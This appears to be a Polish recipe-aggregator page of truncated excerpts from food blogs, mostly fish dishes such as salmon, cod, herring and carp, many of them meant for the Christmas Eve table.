Składniki ok 700-800 g filetów z ulubionej ryby (u nas miruna) 150 g kaszy jaglanej ok 500 g świeżego szpinaku 2 średnie cebule 250 g mascarpone ok 100 g (lub więcej) sera pecorino (lub innego dojrzewającego) masło klarowane do smażenia  masło(...)wysmarowania formy dobra sól, świeżo zmielony pieprz, świeżo starta gałka muszkatołowa Przygotowanie Kaszę ugotujcie zgodnie z przepisem na opakowaniu (pamiętając o przelaniu surowej kaszy wrzątkiem, aby usunąć ewentualną goryczkę). Rybę umyjcie, jeśli trzeba usuńcie skórę, natrzyjcie solą i świeżo zmielonym pieprzem. Odstawcie. Cebulę obierzcie, pokrójcie. Szpinak umyjcie i posiekajcie. Zetrzyjcie ser. Na maśle klarowanym zeszklijcie cebulę. Dorzućcie do niej posiekany

OliveandThyme
Ziemniaki po grecku – dodatek do obiadu 2951

nudne i byle jakie mimo, że grają przy obiedzie jako drugie skrzypce. Tak naszykowane – na grecką nutę: lekko kwaśne, lekko pikantne, mocno ziołowe – świetnie pasują do białego mięsa i ryby. Pora urozmaicić talerze! Zapisz Rozgrzewamy piekarnik do 190⁰C. Jeśli mamy ładne, gładkie ziemniaki – myjemy je, kroimy na ćwiartki. Jeśli skórka jest bardzo szorstka albo po widocznych przejściach(...)ziemniakami zostaje, do greckich szaszłyków souvlaki . Jako ‘surówkę’ koniecznie spróbujcie do tego zestawu mojego gęstego, przepysznego i niesamowicie świeżego tzatziki . Idealne będą do wszystkich smażonych, gotowanych lub pieczonych białych ryb (pstrąg, dorsz, dorada, labraks), do lekkiego jasnego mięsa – jak kurczak i cielęcina, ale i do mięsa z grilla – np. karkówki. Śmiało po upieczeniu posypcie je porwanymi w dłoniach listkami

Karo in the Kitchen
Warsztaty z sushi w TenSushi 128

środku, a ryż znajduje się na zewnątrz) – Nigiri sushi oznacza „sushi formowane ręką” (to prostokątne małe porcje ryżu z kawałkiem ryby na wierzchu) Na zakończenie zostaliśmy poczęstowani pysznymi krewetkami oraz warzywami w tempurze. Warsztaty były jak dla mnie świetnym doświadczeniem, przybliżyły mi przygotowanie poszczególnych rodzai sushi(...)Jedzenie było przepyszne i niepowtarzalne Jeżeli jeszcze nigdy nie próbowaliście sushi to gorąco Was zachęcam, koniecznie w dobrej restauracji, gdzie sushi przygotowywane jest ze świeżej ryby i warzyw lub kupcie składniki na sushi i zabawcie się w domowego sushi mastera   Post Warsztaty z sushi w TenSushi pojawił się poraz pierwszy

Marta Gotuje
Sałatka z tuńczyka, kukurydzy i jajek 198

Idealna na każdą okazję. Tuńczyk w puszce jest jedną z najczęściej spożywanych ryb. Może być w takiej formie dość długo przechowywany. Zawiera w sobie sporo białka , więc jest rybą wybieraną najczęściej przez osoby szukające dużych ilości białka w diecie . Tuńczyk nie jest rybą bardzo kaloryczną, więc może być spożywany przez osoby będące na diecie. Co warto zaznaczyć podobnie

Kulinarnyblog.pl - wiesz jak gotować!
Kotlety mielone z dorsza. 170

jajka -2 bułki -natka pietruszki -sól -pieprz -majeranek -1,5 łyżki mąki -3 łyżki bułki tartej -olej Sposób przygotowania: Rybę myjemy, kroimy na mniejsze kawałki i mielimy za pomocą maszynki do mielenia mięsa. Bułki namaczamy w wodzie. Do zmielonej ryby dodajemy namoczone i odsączone bułki, jajka, posiekaną natkę pietruszki i przyprawy. Wszystko razem dokładnie mieszamy. Na talerzyku mieszamy mąkę

Magia jedzenia.
Łosoś pieczony 209

Łosoś jest moją ulubioną rybą. Lubię go za to, że jest bardzo "uniwersalny" w smaku - pasuje do ryżu, makaronów, placków, naleśników, kanapek itp. Do tego zawsze wychodzi pyszny, bez względu na to, jakich przypraw i dodatków użyjemy. Świetnie sprawdza się w wersji wytrawnej (np. łosoś teriayki , pasta z łososia i avocado) jak i w towarzystwie słodkich owoców (np. springrolls(...)łososiem i mango ). Przepis, którym się dzisiaj z Wami dzielę podała mi moja Siostra. Muszę przyznać, że bardzo mi się spodobał i własnie w ten sposób najczęściej przygotowuję te rybę. Przede wszystkim dlatego, że łosoś zrobiony w ten sposób ma niesamowitą konsystencję-jest soczysty, kruchy, wręcz rozpływa się w ustach. W dodatku przygotowuje się go bardzo szybko. Po upieczeniu rybę

Zawsze głodna!
Dietetyczny morszczuk 176

Składniki: filety z morszczuka lub innej ryby ostra pasta ajwar natka pietruszki suszone pomidory z czosnkiem i bazylią sól, pieprz cebula Przygotowanie: Rybę nasmarować z jednej strony pastą ajwar i … Czytaj dalej Dietetyczny morszczuk

czarrna od kuchni
Od czego zacząć zdrowe odżywianie? 4 podstawowe kroki. 160

granicach 0,8–1,2 g na każdy kg masy ciała, przekroczenie górnej granicy powinno być przemyślane i uzasadnione. Źródła białka: jaja mięso soczewica, ciecierzyca, bób nasiona dyni ryby: łosoś, halibut, panga, tilapia twaróg kasza jaglana, gryczana fasola, bób, groszek   –> Węglowodany Wyróżniamy węglowodany proste (cukry) i złożone. Dostarczają energii służącej m.in. do utrzymania temperatury ciała, pracy(...)staramy się go ograniczyć do minimum, co jest błędem. Wbrew pozorom jest on niezbędny i wywiera korzystny wpływ na organizm (szczególnie tłuszcz nienasycony, który znajdziemy w nierafinowanych olejach roślinnych, rybach, orzechach, nasionach czy awokado). Ogólne spożycie tłuszczu powinno kształtować się w granicach 15-30% zapotrzebowania energetycznego, przy czym należy ograniczyć tłuszcze nasycone oraz trans. –> Błonnik Jest

Powiedz dietom nie
Postny obiad: ryba w sosie z czerwonej pasty curry z warzywami 142

kupuję dość często. Pierwszy raz jednak kupiła świeżą makrelę. I pierwszy raz użyłam jej właśnie do przygotowania tego dania. I niestety się trochę sparzyłam. Izka miała 100% rację. Biała ryba byłaby duuuuuużo lepsza. Pierwszy raz używałam także czerwonej pasty curry. I oczywiście dodałam jej za dużo. :) Dodałam więc trochę słodkiej śmietanki, żeby trochę złagodzić ostrość tego dania. A po fakcie(...)momentu, gdy warzywa zmiękną. Następnie całość dopraw do smaku pastą curry, solą i cukrem. Na patelnię wlej śmietanę i dokładnie wymieszaj. Gdy sos się zagotuj, na patelnię włóż i ryby i duś je przez ok. 10 minut. Gotową makrelę podaj np. z kaszą kuskus. A Wy lubicie kulinarne eksperymenty z przepisami

blog.moje-pasje.info
ABC WIGILIJNYCH DAŃ 116

odstawić do naciągnięcia. Kawałki ryby ze skórą - smaży się najpierw skórą do dołu. Przed włożeniem na patelnię fileta należy opłukać w bardzo zimnej wodzie, a następnie osuszyć. Rybę można usmażyć kilka godzin wcześniej - a tuż przed wigilijnym wieczorem polać sklarowanym masłem lub posypać wiórkami masła i włożyć do piecyka na 15 minut. Będzie krucha i soczysta. Jeżeli nie przepadasz(...)zapachem karpia - włóż rybę na kilka godzin (a najlepiej całą noc) do mleka lub jogurtu. Zneutralizuje to zapach mułu. J eżeli kapusta z grzybami jest za kwaśna - dodaj do niej nieco poszatkowanej i ugotowanej świeżej kapusty, złagodzi smak dania

JejKuchnia
Tatar ze śledzia 141

szybkich i sprytnych, które można schować do lodówki i nie martwić się o nic. Na pewno macie takie cuda w zanadrzu. Ja też mam. Tematem przewodnim mojego wpisu będzie ryba. Zapraszam Was po przepis na przepyszny i wyjątkowy tatar ze śledzia. Został zjedzony przez osobę z WZJG i przyjęty bez problemów. Spróbuj, może i Ty będziesz mógł/mogła również(...)Dlatego rzeczą bardzo ważną przy WZJG jest indywidualne podejście do diety. Podkreślałam nieraz, że co zaszkodzi mnie,nie zaszkodzi Tobie i odwrotnie. Jakość składników ma tutaj kolosalne znaczenie. Od ryby po ogórek kiszony i buraka! Smacznego

Z Kuchni Do Kuchni
Carpaccio z łososia 210

Carpaccio z łososia   Prezentowałam na swoim blogu carpaccio z wędzonego łososia, dziś chcę pokazać inną odsłonę tej wspaniałej ryby, a mianowicie w formie marynowanej. Bardzo ważna jest jej świeżość, jak i pochodzenie. Jako przystawka bądź przekąska podczas uczty świątecznej oraz nocy sylwestrowej, podana z ulubion ą sałatą oraz bagietk ą uraczy niejedno podniebienie. Zapraszam również na pieczonego łososia(...)Łososia umyć, osuszyć, ułożyć w naczyniu. Koper pokroić, przełożyć do miski, dodać sól, cukier, pieprz. Całość wymieszać. Marynatą przykryć łososia. Odstawić do lodówki na 24 godziny. Na drugi dzień rybę przełożyć na drugą stronę i odstawić na kolejn ą dobę.  Przed podaniem delikatnie pozbyć się marynaty, pokroić łososia w cienkie plastry, ułożyć na półmisku, udekorować kaparami, kawałkami cytryny, oprószyć

Wino Francja Kuchnia
Śledź z jabłkiem pod śmietanową pierzynką 516

książki "Polskie Jabłka", czyli jabłka na co dzień i od święta .  Oryginalna receptura przewiduje użycie 6 filetów śledziowych, ale ja wolę zwykle mieć na świątecznym stole kilka rodzajów ryby do wyboru, stąd przyrządzam mniejsze porcje poszcz. potraw. Sam przepis zwrócił moją uwagę głównie ze względu na prostotę jego wykonania oraz użycie powszechnie dostępnych składników . Przedświąteczne kulinarne przygotowania(...)wodzie, zalać wodą i odstawić do moczenia. po 1 godzinie wodę wylać, ponownie wypłukać. Następnie namoczyć śledzie w mleku i zostawić na około 2 godziny. Po tym czasie pokroić rybę w równe kawałki. Skropić sokiem z cytryny. Cebule obrać, pokroić w pióra, sprzyć wrzątkiem. Jabłko obrać, drobno pokroić albo zetrzeć na tarce o grubych oczkach, skropić cytryna aby nie ściemniało

Grunt to przepis!
Świąteczna sałatka śledziowa z ziemniakami, cebulą i szczypiorem 189

Śledzie to jedne z najzdrowszych ryb świata. Ziemniaki są bogate w skrobię i białko roślinne. Cebula pozytywnie wpływa na układ trawienny i zawiera wiele cennych składników mineralnych, a szczypior pobudza apetyt. Kiedy połączy się te wszystkie składniki, doda jogurt naturalny i przyprawy, powstanie lekka i pyszna sałatka śledziowa, która swoim smakiem podbije świąteczny stół.  Składniki 200 g śledzi(...)Znajdziemy w nich witaminy A, B6, B12, D i E, która ma działanie przeciwmiażdżycowe. Są bogate w żelazo, cynk, miedź oraz fosfor i jod. Mimo że śledzie to tłuste ryby, są niskokaloryczne. 100 g to 160 kalorii.  Sałatkę śledziową z ziemniakami można przygotować w gotowych porcjach, np. w małych słoikach. Takie słoiki mogą stać się także piękną ozdobą

My Chcemy Jeść
Menu na Wigilię 4208

oraz smażone kawałki ryby z farszem marchewkowym :)  Dania na zimno: 1.          Karp w galarecie 2.         Ryba po grecku 3.        Ryba po japońsku 4.        Śledzie z cebulką 5. Śledzie pod pierzynką z burakami Karp

Ugotować
Czy tran jest zdrowy? 188

rzadziej spotyka się zatem tran produkowany z tłuszczu wielorybów, a zastępuje go dużo tańszymi olejami pochodzenia rybnego. Mają one udowodnione, gorsze właściwości, o czym jesteśmy rzadko informowani. Co gorsza, ryby, z których pozyskuje się olej na tran same nie mają wiele wspólnego z naturą . Są to bowiem najczęściej zwierzęta specjalnie hodowane w tym celu, karmione ponadto licznymi antybiotykami(...)dzisiejszy konsument jest bardzo wymagający i rzadko decyduje się na rozwiązania nieprzyjemne dla siebie. Tran w czystej formie nie jest natomiast smaczny – w końcu to zwykły olej z ryby. Dlatego też producenci dodają do niego dodatkowych ulepszaczy smaku, by przyciągnąć niechętnych klientów. Tracą natomiast na tym właściwości zdrowotne tranu, który przestał być dobrym suplementem diety, szczególnie dziecięcej. Post

Kulinarnyblog.pl - wiesz jak gotować!
Dorsz pod brokułowo kalafiorową pierzynką 158

Zamiast tradycyjnej ryby po grecku, polecamy takie rozwiązanie. Nomen omen, ciekawi nas bardzo, skąd nazwa ryba po grecku"...ale w polskiej kuchni wiele jest takich dań, które i tak uwielbiamy ;) Czasami zdarzają się ości w filetach, więc nieodzownym gadżetem jest pęseta do ości od Fiskars Składniki 300 g filetu z dorsza 500 g brokułu 500 g kalafiora 1 marchew

R'n'G Kitchen
Pstrąg Mojito Lime 232

wiem jak Wy ale ja lubię wracać do sprawdzonych przepisów. Jeśli coś mi smakowało to czemu nie zrobić jeszcze raz. A może da się jeszcze lepiej, smaczniej? Przepis na rybę w pomidorach przetestowałam na doradzie https://mamazmiasta.wordpress.com/2016/04/27/dorada-w-pomidorach/ . Niestety teraz nie mogę jej znaleźć w sklepie więc przeprosiłam się z pstrągiem. Ale żeby było inaczej użyłam zamiast własnej marynaty gotowej(...)mieszanki z Kamis-a. Wyszło palce lizać. Polecam. Składniki: 2 świeże pstrągi przyprawa Ryba Mojito Lime 50 ml oleju łyżeczka soku z cytryny 300 g pomidorków koktajlowych pokrojonych w ćwiartki kilka czarnych lub zielonych oliwek (można pominąć) pół kieliszka wytrawnego wina Wykonanie: 1.Rybę umyć pod bieżącą wodą, osuszyć papierowym ręcznikiem i wykonać na każdym boku po 3-4 nacięcia

Mama z miasta
SAŁATKA ŚLEDZIOWO - BURACZKOWA 134

Sałatka śledziowa jest nie zastąpiona na większych przyjęciach i świętach. Dzisiaj przygotowałam ją z dodatkiem groszku i buraczków a podałam ją udekorowaną w kształcie ryby(...)śledzie z puszki przyprawy oraz musztardę i majonez. Wszystko dokładnie mieszamy.   Na podłużny półmisek wykładamy sałatkę, smarujemy ją na wierzchu majonezem. Z kawałków buraczka wycinamy buzię i łuski ryby, następnie oczy robimy z oliwek i gdzie nie gdzie dokładamy kawałki marchewki.  Ogon robimy z natki pietruszki. Sałatkę podajemy schłodzoną. Smacznego

Kulinarne Fantazje Marioli
Śledzie w czerwonym winie z suszonymi śliwkami 175

Śledzie są rybami morskimi, z których można wyczarować wiele smacznych, tradycyjnych i nowoczesnych dań. Najbardziej popularne są u nas śledzie w formie przekąsek czy sałatek przygotowywane na różne sposoby – z olejem, marynowane, z cebulką, jabłkami, orzechami, rodzynkami, warzywami czy korzenne. Na ostro, słono, kwaśno, słodko – dla każdego jakiś śledzik(...)się znajdzie. Filety śledziowe solone a’la matjas SEKO przygotowywane są z ryb najwyższej jakości – ich mięsista konsystencja oraz charakterystyczny dla śledzi smak podkreślone zostały specjalnie skomponowaną zalewą smakową. Dawno nie jadłam tak smacznych śledzi. Muszę również przyznać, że nigdy ich wcześniej nie kupowałam, ale dzięki uprzejmości firmy SEKO mogę teraz delektować się

To co kocham
Pierogi rybne z serem, marchewką i ziołami 148

drobno koperku 1 łyżka masła klarowanego przyprawy: sól, pieprz, papryka ostra, lubczyk, majeranek Przygotowanie: na maśle przesmaż drobno posiekaną cebulę, po chwili dodaj startą na tarce marchewkę, przesmaż chwilę; rybę umyj w zimnej wodzie, dobrze odciśnij z nadmiaru wody i osusz dobrze ręcznikiem papierowym, pokrój w drobną kostkę i dodaj do warzyw na patelni, przesmaż przez kilka minut(...)ryba będzie lekko gotowa, mieszaj; w blenderze umieść wszystkie składniki z patelni, dodaj jajko i żółty ser i zmiksuj razem na gładką masę; do masy dodaj koperek i natkę pietruszki, przypraw do smaku, dobrze wymieszaj; składniki na ciasto połącz ze sobą, ma być elastyczne, odstaw na 5 minut, przykryj ściereczką, następnie wałkuj cienko, wykrawaj kółka lub kwadraty, faszeruj i gotuj

Zasmakuj Kuchni
Dorsz zapiekany pod musem z jabłek 145

pyszne i efektowne danie. Dobra okazja, by wykorzystać jabłka. Nie tylko wspaniale komponują się z rybą i ziemniakami, ale jabłko to samo zdrowie - bogactwo błonnika, witamin i soli mineralnych. Warto zadbać, by jak najczęściej gościły się na naszym stole. Super danie dla zwolenników ryby pieczonej w piekarniku, lekkostrawne i zdrowe. Składniki: 4 porcje dorsza 1 kg jabłek (szarej renety/anton(...)otartą z cytryny. Doprawić solą  i szczyptą cukru  jajko wymieszać ze śmietaną i dodać do musu jabłkowego naczynie żaroodporne wysmarować masłem, na dnie ułożyć filety z dorsza. Rybę wcześniej posolić i oprószyć pieprzem, zalać musem jabłkowym. Do zapiekanki najlepiej użyć grubych kawałków dorsza piec 15 minut w 200`C. Pozostałe jabłko pokroić ze skórką w plastry i ułożyć

Gotuj zdrowo!Guten Appetit!
Ryba po japońsku 167

Wpis pochodzi z www.mgotuje.pl Ryba po japońsku to danie, które przygotowuję nie tylko na święta, ale również na wiele innych rodzinnych okazji. Wszystkim bardzo smakuje i szybko znika z półmiska. Jej zaletą jest to, że możemy przechowywać ją w lodówce przez kilka dni. Możemy przygotować ją 1-2 dni przed(...)koleżanki i od tego czasu ta rybka często gości na moim stole. Nie mam tylko pojęcia czemu nazywa się po „japońsku” Post Ryba po japońsku pojawił się poraz pierwszy w Marta Gotuje

Marta Gotuje
ŁOSOŚ W ORZECHOWEJ PANIERCE 117

oprószamy sola i pieprzem.Kroimy w kawałki.W garnuszku ro ztapiamy masło, dodajemy musztardę i miód, dobrze mieszamy. Rybę zanurzamy w tak przygotowanej marynacie na min pół godziny. Orzechy siekamy na mniejsze kawałeczki, mieszamy z bułką tartą. W takiej panierce obtaczamy kawałki ryby, układamy na blasze, pieczemy ok 10 minut

Z Majeczką w kuchni
KARP ZAPIEKANY W POMARAŃCZACH 183

łego wytrawnego wina- uzyjcie dobrego wina jakosciowo bułka tarta pieprz i sól ***************************"********** Pieczarki kroimy w drobną plasterki.Pomarancze wyszorować,opłukać ciepłą wodą i wraz ze skórką pokroić w ósemki.Sprawioną rybę natrzeć solą i pieprzem,ułożyć w żaroodpornym naczyniu wysmarowanej oliwą , obłożyć dookoła pomarańczami , posypać bułką tartą , przykryć pieczarkami , podlać winem , na wierzch ułożyć wiórki masła( nie ! margaryny ).Piec(...)stopniach ok.40 minut.Możemy rybę udekorować miętą

Kocurkowe rozmyślania w kuchni Anielki
Kluski z kapustą 209

moim rodzinnym domu kapustę z grzybami i suszonymi śliwkami mama podawała z panierowanymi filetami z ryby. Ja najczęściej podaję ją do kaszanki, pieczonego lub duszonego schabu, ale również lubimy wymieszaną z ugotowanym makaronem Składniki: 250 g makaronu - świderki, fale, krótkie wstążki lub łazanki 500 g kapusty kwaszonej (może być z marchewką) garść suszonych borowików lub podgrzybków 50 g śliwek(...)czasu. Na końcu doprawić pieprzem i ewentualnie dosolić i docukrzyć. W czasie duszenia kapusty ugotować w osolonym wrzątku makaron. Odcedzić i wymieszać z gorącą kapustą. Można również podać do ryby wigilijnej

Czerwień i błękit
Jak nie zmarnować jedzenia podczas Świąt? 256

zamrozić w mniejszych pojemniczkach i wykorzystać na obiad w inne dni :) 13. Na ratunek rybce Karp, pstrąg, łosoś... Ryba wiedzie prym na wigilijnym stole. Często jednak spora jejczęść zostaje. Co z nią zrobić? Najlepiej zamrozić (o ile nie kupiliśmy ryby mrożonej- wówczas nie możemy) lub zamarynować w occie. Polecam tą drugą opcję, ponieważ zamrożona ryba (np. w panierce) zmienia

Tradycyjna Kuchnia
Pasta z makreli ze szczypiorkiem 164

Wpadki i wypadki śniadaniowe z rybą w roli głównej Bo ryby łowić też trzeba umieć... Rybka na śniadanie w paście do kanapek dłuuuugo już za mną "chodziła". Ciągle jednak piętrzyły mi się w tej kwestii trudności.  A to zapomniałam makrelę wędzoną zakupić podczas cotygodniowych "łowów" po markecie. A to leń patentowany nie chciał mi pozwolić na ekspedycję

Grunt to przepis!
Sałatka z papryką i łososiem 180

często bo jest smakowita i właśnie szybka a moja ulubiona papryka jest w niej obecna. Łososia w puszce można kupić w każdym szanującym się sklepie lub stoisku z rybami. Popróbujcie ze mną tej pysznej sałatki. Sałatka z papryką i łososiem. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Zapiekana ryba z warzywami i ryżem :) 151

wychodziło i jakoś o nich zapomniałam. Także od razu musiałam to zmienić. Akurat dobrze się złożyło, bo mając garnek kamienny od Delimano , mogłam przygotować potrawę z rybą szybko i nadal zdrowo. Początkowo miała wyjść zapiekanka, ale chyba końcowy efekt wizualny nie współgrał z moimi założeniami 😂  Filety z dorsza połączyłam z ryżem, warzywami oraz serem mozzarella. Całość zapiekłam w piekarniku(...)wyszło coś obłędnie pysznego :) Ryba jest soczysta, ryż kremowy, a warzywa lekko chrupiące - obłęd w ustach :D  Składniki (3-4 porcje): 200 g ryżu (u mnie paraboliczny) 4 filety z dorsza 450 g mrożonych warzywa (brokuł, kalafior, marchew) kawałek dyni Hokkaido  przyprawy: sól himalajska, pieprz ziołowy, pieprz prawdziwy, papryka wędzona oliwa z oliwek  kulka mozzarelli  Przygotowanie

Zdrowie na języku :P
Sałatka ryżowa z łososiem 121

soczysty. 1/2 szklanki ryżu 20 dkg łososia 6 truskawek 1/2 awokado 10 gron winogrono ciemne 6 kulek mozzarella 1 garść roszponki 1/2 cytryny sól, pieprz kolorowy przyprawa do ryb oliwa z suszonych pomidorów Ryż dokładnie płuczę zimną wodą, przekładam(...)garnka wlewam szklankę wody, dodaję sól i gotuję na wolnym ogniu aż wchłonie wodę. Wstawiam pod koc na 30 minut aż dojdzie. Łososia solą, pieprzę, posypuje przyprawą do ryb i odstawiam na 30 minut. Po tym czasie gotuję go na parze w garnku około 10 minut, czas gotowania zależy od grubości łososia. mój był dość gruby. Truskawki, winogrono myję

wesoła kuchnia
Maślana ryba z bobem i fasolką 97

Patelnia rozmaitości tak powinna się nazywać. Wykorzystałam wędzoną rybę maślana która bardzo fajnie łączy się z boczkiem i warzywami. W sezonie kiedy warzyw mamy od wyboru do koloru nie można się ograniczać. 1 ryba wędzona maślana 100 g makaronu czarnego nitki 1/4 brokuła 150 g fasolki szparagowej zielonej 250 g bobu 6 plastrów boczku wędzonego 5 pomidorków koktajlowych sól pieprz(...)dojdzie w gorącej wodzie. Bób też gotuję aldente, po ugotowaniu przelewam go zimną wodą i obieram z łupinek. Na patelni na maśle przesmażam boczek, dodaję pomidorki koktajlowe pokrojone i rybę obraną. Całość jeszcze chwile smażę  doprawiam czubricą, pieprzem. Mieszam z makaronem, dodaję brokuł, fasolkę, bób. Doprawiam jeszcze na końcu, posypuję natką

wesoła kuchnia
Bezglutenowa tarta z warzywami 217

Tarta lekko wędzona za sprawą ryby, z dodatkiem fasolki, kukurydzy i groszku Firmy JAMAR . Otrzymałam smaczną paczuszkę dzięki której ona powstała. Wersja bezglutenowa. Tarta powstała fajna, krucha. spód tarty: 150 g mąki kukurydzianej 100 g mąki ryżowej 3 żółtka 1/2 łyżeczki soli 1 łyżeczka przyprawy miks 150 g masła zimnego 3 łyżki zimnej wody farsz: 2/3 puszki kukurydza(...)przekładam jogurt, wbijam jajka, dodaję białko, sól, pieprz, przyprawę, pokrojony koper i całość mieszam. Na wystudzony spód tarty przelewam 2/3 masy jogurtowej, układam kukurydzę z groszkiem, fasolkę, kawałki obranej ryby. Wylewam resztę masy jogurtowej, dodaję połówki pomidorków. Tartę wstawiam do piekarnika temp 180 stopni na 20 minut aż się zetnie

wesoła kuchnia
Łosoś z sosem selerowym 117

Zdrowy obiad do tego lekki z łososiem, selerem naciowym i batatami w roli głównej. Zamiast smażonej ryby polecam pieczoną podaną z sosem z selera. Sosik jest pyszny. A obiad przygotujemy szybko. 2 kawałki łososia 1 cebula biała sól, pieprz 1 łyżka octu winnego 1 łyżeczka majeranku warzywa: 2 bataty 1 papryka zielona 1 papryka czerwona sól, pieprz 1 łyżeczka(...)przekładam do miski, posypuję solą, pieprzem, ziołami, polewam oliwą i mieszam warzywa. Blaszkę wykładam papierem do pieczenia, układam warzywa. Wstawiam do piekarnika temp 200 stopni na 15-20 minut. Rybę zawijam w folię aluminiową i też piekę razem z warzywami. Sos: Cebule kroję drobno, przesmażam na maśle, dodaje pokrojoną seler drobno i dalej przesmażam. Podlewam seler 1/2 szklanką wody

wesoła kuchnia
Kuskus warzywny 169

wcześniej bulionu i kaszki Kuskus marki Kupiec. Wersja jest bardzo tania i szybka w wykonaniu. Wystarczy 10 minut do jej przygotowania. Może być dodatkiem do pieczonego  mięsa lub ryby. Można dodać ugotowaną fasolkę, soczewicę lub groszek i będzie pożywnym daniem wegetariańskim. Kuskus warzywny  (dla 2 osób) 100 g kaszki Kuskus marki Kupiec bulion warzywny lub woda(...)Dodaj warzywa, szczypior i miętę  do kaszki.  Dodaj oliwę, dopraw solą, chilli i pieprzem do smaku. Wymieszaj dokładnie.  Podawaj Kuskus warzywny jako dodatek do mięsa lub ryby lub jako danie wegetariańskie z dodatkiem ugotowanych warzyw strączkowych

Gotuj Sam!
Karp wigilijny wędzony na parze 124

karpia 2 łyżki suchej herbaty 1 łyżka cukru olej do smażenia Składniki na marynatę: 1 łyżeczka imbiru 3 łyżki przyprawy typu MAGGI ½ łyżeczki cynamonu ½ łyżeczki cukru ¼ szklanki wody Wykonanie: Rybę dokładnie oczyścić, opłukać i pokroić w dzwonka. Wszystkie składniki na marynatę połączyć, wymieszać i polać rybę, odstawiając ją na 2 godziny. Następnie usmażyć z każdej strony na rozgrzanym oleju(...)garnku parowym wyłożyć dno folią aluminiową i wysypać herbatę wymieszaną z cukrem. Nałożyć szklane naczynie do gotowania, ułożyć przygotowaną rybę i przykryć. Garnek postawić na średnim ogniu do momentu, aż cukier z herbatą zacznie dymić. Nie odkrywając zestawić z ognia i wędzić rybę przez około 20 minut. *Folię rozłożyć w garnku bo inaczej przypali się nam garnek

Tradycyjna Kuchnia
Garść tradycji + szczypta nowoczesności = przepis na udaną Wigilię z Galeo 112

wigilijną tradycją : zupę z borowików z nalewką wiśniową tatara z łososia i mango chrupiące pierożki z łososiem śledzie z pieczonymi burakami i jarmużem karpia w szarym sosie rybny suflet ryby marynowane(...)żubrówką pieczonego dorsza na imbirowym mango śledzie z czarną soczewicą łososia w grzybowym ragu kutię gruszkę nadziewaną orzechami Jak zwykle działaliśmy w grupach, ja miałam przyjemność przygotować marynowane ryby w żubrówce. Był to surowy łosoś i sandacz marynowany w wywarze z warzywach z dodatkiem octu i żubrówki. Zamknięty w słoiczku może być przygotowany parę dni przez Wigilią. Było bardzo

Kulinarne przygody Gatity
Pęczak znakomity 148

przyrządzoną kaszę jeść jako samodzielne danie lub z dodatkiem pieczonego kurczaka lub ryby. Można również potraktować ten przepis jako bazę i stosować dowolne dodatki w postaci warzyw, ryb, mięsa i wędlin

Kulinarne przemyslenia
Eksplozja smaków 155

mniej soczysty. Najlepiej dodać mu smaku skrapiając go dopiero  na talerzu. Dlatego ja do upieczonych ryb podaję cząstki cytryn, aby każdy sam wg. swojego gustu skrapiał sobie rybę.  Na talerz wyłożyłam garść mieszanki sałat, na niej wyłożyłam mój Pęczak znakomity ( patrz zakładki:kasze, bezmięsne ),  a na końcu upieczonego łososia. Do dekoracji użyłam kiełków rzodkiewki oraz zaakcentowałam

Kulinarne przemyslenia
Święta tuż, tuż – potrawy wigilijne 187

wigilię według tradycji nie powinno się spożywać mięsa, za wyjątkiem tego z ryb. Z tego powodu prawie w każdym domu podaje się smażonego karpia w różnych wydaniach. Ryby można spotkać też w innych postaciach, na przykład w galarecie. Kolejną ważną potrawą jest sałatka . Tradycje jej przygotowania są zróżnicowane. Jedną z bardziej popularnych jest ta z ziemniaków, marchwi, ogórków

Kulinarnyblog.pl - wiesz jak gotować!
Wegański pasztet z warzyw z zupy 167

cebula, 1 marchewka 1 woreczek kaszy gryczanej lub 100 g 4 łyżeczki chrzanu 2 surowe marchewki 1/2 szklanki bułki tartej 1/2 szklanki mąki ziemniaczanej 1 cebula przyprawa do ryb, sól ziołowa, słodka papryka, sól, pieprz, zioła prowansalskie,  Wykonanie: 1. Warzywa z zupy miksujemy na gładką masę.  2. Kaszę gryczaną gotujemy z godnie z opisem na opakowaniu(...)masy z warzyw dodajemy ugotowaną kaszę gryczaną, startą marchewkę, usmażoną cebulkę, dodajemy bułkę tartą i mąkę ziemniaczaną, 4 łyżeczki chrzanu i doprawiamy przyprawami. Około 2 łyżeczki przyprawy do ryb, 1 łyżeczkę soli ziołowej, 1 łyżeczkę ziół prowansalskich 1 łyżeczkę papryki słodkiej i dodatkowo parę szczypt soli i pieprzu.  6. Wszystko dokładnie mieszamy i wykładamy do foremki wyłożonej

Mój pomysł na
Steki z tuńczyka z kolorowym pieprzem i rozmarynem 133

Steki z tuńczyka to danie które robi się błyskawicznie a efekt jest nieziemski, pyszne, soczyste mięso z ryby i do tego ulubione dodatki. Polecam gorąco do wypróbowania. Steki z tuńczyka z kolorowym pieprzem i rozmarynem. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
RYBA W SOSIE KETCHUPOWYM 197

Świat zostało jeszcze trochę czasu,ale postanowiłam,że podzielę się z Wami przepisem na pyszną rybkę.Jeśli znudziła się Wam ryba po grecku bądź szukacie czegoś nowego to z ten przepis jest idealny.Najlepiej smakuje jeszcze gorące. Składniki:   ok 80 dag filetów z dorsza,mintaja 3 czerwone papryki 3 cebule 1/2 kg pieczarek ok 1/2 l pikantnego ketchupu sól,pieprz(...)kostkę czerwoną paprykę i pieczarki pocięte na plastry. Wymieszać cebulę,paprykę i pieczarki z ketchupem,doprawić do smaku solą,pieprzem. filety opłukać,odsączyć na papierowym ręczniku.Pokrojoną na kawałki rybę oprószyć solą,pieprzem - można obtoczyć w jajku i mące i usmażyć na złocisty kolor. Układać na półmisku warstwami - na zmianę ryba i sos ketchupowy. Przepis znalazłam parę lat temu

Niespełnione zdolności kulinarne
sposób na wyrób kawioru 169

miesięcy.  Na koniec jeszcze jedno pamiętajmy, kawior to nie tylko ikra z łososia czy jesiotra, do  wyrobu  nadaje się również ikra   z takich ryb jak pstrąg, troć, leszcz, dorsz, sandacz, czy szczupak. składniki 300 g rybiej ikra (u mnie ze szczupaka) 4 łyżki soli ( czubate) 1 cytryna 4 łyżki  oliwy(...)dodajemy sok z wyciśniętej cytryny. Całość zostawiamy na 2 dni w chłodnym miejscu ( codziennie mieszając). Po dwóch dniach wyjmujemy ikrę z soli, układamy na czystym płótnie i delikatnie przebieramy rybie ziarenka ( odrzucając uszkodzone). Oczyszczoną ikrę układamy-osuszamy na płótnie ( materiał pod ikrą nie nie może być mokry). Następnie ikrę mieszamy z oliwą ( delikatnie aby nie uszkodzić ziaren) i wkładamy

Miód i pieprz
Filet barramundi w sosie curry 103

